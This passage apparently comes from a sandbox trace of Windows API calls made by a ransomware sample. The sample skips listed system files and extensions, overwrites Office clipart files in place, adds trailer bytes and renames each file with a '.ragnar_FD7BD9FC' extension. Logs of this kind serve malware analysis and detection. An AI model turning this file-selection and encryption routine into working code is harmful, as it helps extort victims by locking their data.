lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.887] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.887] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x634, lpOverlapped=0x0) returned 1 [0089.887] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.888] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x634, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.888] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x634, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x634, lpOverlapped=0x0) returned 1 [0089.888] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x634, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.888] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.888] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.888] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.888] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.888] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.888] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.888] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.888] GetProcessHeap () returned 0x580000 [0089.888] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.888] CloseHandle (hObject=0xf4) returned 1 [0089.888] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" [0089.888] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF.ragnar_FD7BD9FC" [0089.889] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.889] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x671b6e00, ftCreationTime.dwHighDateTime=0x1bd4bfa, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x671b6e00, ftLastWriteTime.dwHighDateTime=0x1bd4bfa, nFileSizeHigh=0x0, nFileSizeLow=0x7fce, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE05930_.WMF", cAlternateFileName="")) returned 1 [0089.889] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.889] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE05930_.WMF" | out: lpString1="PE05930_.WMF") returned="PE05930_.WMF" [0089.889] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF") returned=".WMF" [0089.889] lstrcmpiW (lpString1="PE05930_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.889] lstrcmpiW (lpString1="PE05930_.WMF", lpString2="autorun.inf") returned 1 [0089.889] lstrcmpiW (lpString1="PE05930_.WMF", lpString2="boot.ini") returned 1 [0089.889] lstrcmpiW (lpString1="PE05930_.WMF", lpString2="bootfont.bin") returned 1 [0089.889] lstrcmpiW (lpString1="PE05930_.WMF", lpString2="bootsect.bak") returned 1 [0089.889] lstrcmpiW (lpString1="PE05930_.WMF", lpString2="bootmgr") returned 1 [0089.890] lstrcmpiW (lpString1="PE05930_.WMF", lpString2="bootmgr.efi") returned 1 [0089.890] lstrcmpiW (lpString1="PE05930_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.890] lstrcmpiW (lpString1="PE05930_.WMF", lpString2="desktop.ini") returned 1 [0089.890] lstrcmpiW (lpString1="PE05930_.WMF", lpString2="iconcache.db") returned 1 [0089.890] lstrcmpiW (lpString1="PE05930_.WMF", lpString2="ntldr") returned 1 [0089.890] lstrcmpiW (lpString1="PE05930_.WMF", lpString2="ntuser.dat") returned 1 [0089.890] lstrcmpiW (lpString1="PE05930_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.890] lstrcmpiW (lpString1="PE05930_.WMF", lpString2="ntuser.ini") returned 1 [0089.890] lstrcmpiW (lpString1="PE05930_.WMF", lpString2="thumbs.db") returned -1 [0089.890] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.890] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.890] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.890] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.890] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.890] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.890] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf")) returned 0x20 [0089.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.890] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32718) returned 1 [0089.890] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7fc5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.891] GetProcessHeap () returned 0x580000 [0089.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.891] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.892] VirtualAlloc (lpAddress=0x0, dwSize=0x7fce, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.892] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.892] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.892] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7fce, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7fce, lpOverlapped=0x0) returned 1 [0089.893] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.894] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7fce, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.894] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7fce, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7fce, lpOverlapped=0x0) returned 1 [0089.894] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7fce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.894] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.894] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7fce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.894] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.894] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.895] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.895] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.895] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.895] GetProcessHeap () returned 0x580000 [0089.895] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.895] CloseHandle (hObject=0xf4) returned 1 [0089.895] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" [0089.895] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF.ragnar_FD7BD9FC" [0089.895] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.896] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf03a600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf03a600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE06049_.WMF", cAlternateFileName="")) returned 1 [0089.896] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.896] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE06049_.WMF" | out: lpString1="PE06049_.WMF") returned="PE06049_.WMF" [0089.896] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF") returned=".WMF" [0089.896] lstrcmpiW (lpString1="PE06049_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.896] lstrcmpiW (lpString1="PE06049_.WMF", lpString2="autorun.inf") returned 1 [0089.896] lstrcmpiW (lpString1="PE06049_.WMF", lpString2="boot.ini") returned 1 [0089.896] lstrcmpiW (lpString1="PE06049_.WMF", lpString2="bootfont.bin") returned 1 [0089.896] lstrcmpiW (lpString1="PE06049_.WMF", lpString2="bootsect.bak") returned 1 [0089.896] lstrcmpiW (lpString1="PE06049_.WMF", lpString2="bootmgr") returned 1 [0089.896] lstrcmpiW (lpString1="PE06049_.WMF", lpString2="bootmgr.efi") returned 1 [0089.896] lstrcmpiW (lpString1="PE06049_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.896] lstrcmpiW (lpString1="PE06049_.WMF", lpString2="desktop.ini") returned 1 [0089.896] lstrcmpiW (lpString1="PE06049_.WMF", lpString2="iconcache.db") returned 1 [0089.896] lstrcmpiW (lpString1="PE06049_.WMF", lpString2="ntldr") returned 1 [0089.896] lstrcmpiW (lpString1="PE06049_.WMF", lpString2="ntuser.dat") returned 1 [0089.896] lstrcmpiW (lpString1="PE06049_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.896] lstrcmpiW (lpString1="PE06049_.WMF", lpString2="ntuser.ini") returned 1 [0089.896] lstrcmpiW (lpString1="PE06049_.WMF", lpString2="thumbs.db") returned -1 [0089.896] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.896] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.896] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.896] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.896] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.896] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.896] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf")) returned 0x20 [0089.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.897] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4636) returned 1 [0089.897] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1213, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.897] GetProcessHeap () returned 0x580000 [0089.897] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.897] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.898] VirtualAlloc (lpAddress=0x0, dwSize=0x121c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.899] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.899] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.899] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x121c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x121c, lpOverlapped=0x0) returned 1 [0089.899] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.900] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x121c, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.900] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x121c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x121c, lpOverlapped=0x0) returned 1 [0089.900] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x121c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.900] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.900] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x121c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.900] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.900] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.900] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.900] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.900] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.900] GetProcessHeap () returned 0x580000 [0089.900] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.900] CloseHandle (hObject=0xf4) returned 1 [0089.900] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" [0089.901] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF.ragnar_FD7BD9FC" [0089.901] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.901] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59d01210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4048, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE06450_.WMF", cAlternateFileName="")) returned 1 [0089.901] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.901] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE06450_.WMF" | out: lpString1="PE06450_.WMF") returned="PE06450_.WMF" [0089.901] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF") returned=".WMF" [0089.901] lstrcmpiW (lpString1="PE06450_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.901] lstrcmpiW (lpString1="PE06450_.WMF", lpString2="autorun.inf") returned 1 [0089.901] lstrcmpiW (lpString1="PE06450_.WMF", lpString2="boot.ini") returned 1 [0089.901] lstrcmpiW (lpString1="PE06450_.WMF", lpString2="bootfont.bin") returned 1 [0089.901] lstrcmpiW (lpString1="PE06450_.WMF", lpString2="bootsect.bak") returned 1 [0089.901] lstrcmpiW (lpString1="PE06450_.WMF", lpString2="bootmgr") returned 1 [0089.901] lstrcmpiW (lpString1="PE06450_.WMF", lpString2="bootmgr.efi") returned 1 [0089.902] lstrcmpiW (lpString1="PE06450_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.902] lstrcmpiW (lpString1="PE06450_.WMF", lpString2="desktop.ini") returned 1 [0089.902] lstrcmpiW (lpString1="PE06450_.WMF", lpString2="iconcache.db") returned 1 [0089.902] lstrcmpiW (lpString1="PE06450_.WMF", lpString2="ntldr") returned 1 [0089.902] lstrcmpiW (lpString1="PE06450_.WMF", lpString2="ntuser.dat") returned 1 [0089.902] lstrcmpiW (lpString1="PE06450_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.902] lstrcmpiW (lpString1="PE06450_.WMF", lpString2="ntuser.ini") returned 1 [0089.902] lstrcmpiW (lpString1="PE06450_.WMF", lpString2="thumbs.db") returned -1 [0089.902] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.902] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.902] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.902] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.902] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.902] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.902] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf")) returned 0x20 [0089.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.902] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16456) returned 1 [0089.902] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x403f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.902] GetProcessHeap () returned 0x580000 [0089.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.903] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.904] VirtualAlloc (lpAddress=0x0, dwSize=0x4048, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.904] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.904] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.904] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4048, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4048, lpOverlapped=0x0) returned 1 [0089.905] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.906] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4048, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.906] WriteFile 